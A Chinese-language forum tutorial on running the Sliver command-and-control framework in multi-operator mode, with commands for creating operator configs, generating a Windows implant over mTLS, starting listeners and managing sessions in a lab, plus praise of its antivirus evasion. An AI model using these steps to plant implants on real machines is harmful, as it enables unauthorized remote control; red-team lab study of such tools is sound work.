搜索
查看: 4641|回复: 0

Sliver C2 从入门到精髓

[复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2022-11-17 22:26:01 | 显示全部楼层 |阅读模式 来自 甘肃
[md]>在前面的一篇文章中,我们讲到了`Sliver`框架的使用。如果是单用户模式,我们在服务端玩就足够了。但是`Sliver`是支持`C2`结构的(即服务端和客户端)。本文我们一起来研究吧!**`注:本文仅作为学习和研究,请勿非法使用。`**

![Sliver C2][1]

`Sliver`在设计上是考虑了多用户以及多平台生成相关Shell。


![](http://xiaoyaozi666.oss-cn-beiji ... -process=style/kali)
# 实验环境
- Sliver Server (192.168.123.23)
- Sliver Client (192.168.123.74)
- 靶机 (192.168.123.129)
# 配置服务端
在前面的文章中,我们已经大致了解了服务端的安装和启动。由于网络问题,建议直接获取编译好的文件。

**启动服务端**
```
./sliver-server_linux
```

![](http://xiaoyaozi666.oss-cn-beiji ... -process=style/kali)
如果是单用户,到这步已经完成了安装,可以直接在终端执行相关命令。但如果是多client协同则还需要进行下面的步骤。
##### 生成Client配置文件
```
new-operator --name Dabiaoge --lhost Server服务器IP #新建一个client
multiplayer #启用多用户
```

![](http://xiaoyaozi666.oss-cn-beiji ... -process=style/kali)
这时,会生成客户端的配置文件`/root/tool/Dabiaoge_192.168.123.23.cfg`,这里我只生成了一个用户,如果有多个用户,修改`name`的值就行了。需要注意的是,`server`端默认监听的端口为`31337`。如果要修改的话 `vim ~/.sliver/configs/server.json`
# Sliver Client安装配置
这里为了方便,我们还是直接用编译好的`Client`
将刚才服务端生成的配置文件`.cfg`上传到客户端。


导入配置文件
```
./sliver-client_linux import /root/tool/Dabiaoge_192.168.123.23.cfg
```

![](http://xiaoyaozi666.oss-cn-beiji ... -process=style/kali)
这样就完成了C/S架构的Sliver安装配置。
# 生成shell
命令格式如下:
```
generate --mtls <Server IP> --save ./test.exe --os Windows
```
**命令详解:**
`--mtls`:监听协议(包括http、mtls、grpc )
# 开启监听
如上一步,我们生成shell所用的监听协议为`mtls`,故我们要配置`mtls`类型的监听。
在终端执行命令
```
mtls
```
通过输入`jobs`命令,可以查看目前开启的监听。

![](http://xiaoyaozi666.oss-cn-beiji ... -process=style/kali)
默认端口是`8888` 如果要指定端口,执行命令
```
mtls -l 9999
```
**查看生成过的shell**
```
implants
```

![](http://xiaoyaozi666.oss-cn-beiji ... -process=style/kali)
运行shell后,server和client端都会得到会话的消息。主要包含session id、外网IP、主机名、平台、时间等等。

![](http://xiaoyaozi666.oss-cn-beiji ... _20221117141934.png)
# 会话操作
```
sessions -i id  #进入会话
sessions -k id  #结束会话
```

![](http://xiaoyaozi666.oss-cn-beiji ... -process=style/kali)
进入会话后,就和msf的控制台一样了。通过`help`命令,我们可以得到相关的执行参数。
# 总结
在我看来,`Sliver`最大的优点在免杀效果要远远胜于其他几个框架。可玩性也比较高,安装简单并跨平台。但是生成的Shell相对来说比较大。


  [1]: https://blog.bbskali.cn/usr/uploads/2022/11/2778271982.jpg
[/md]
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表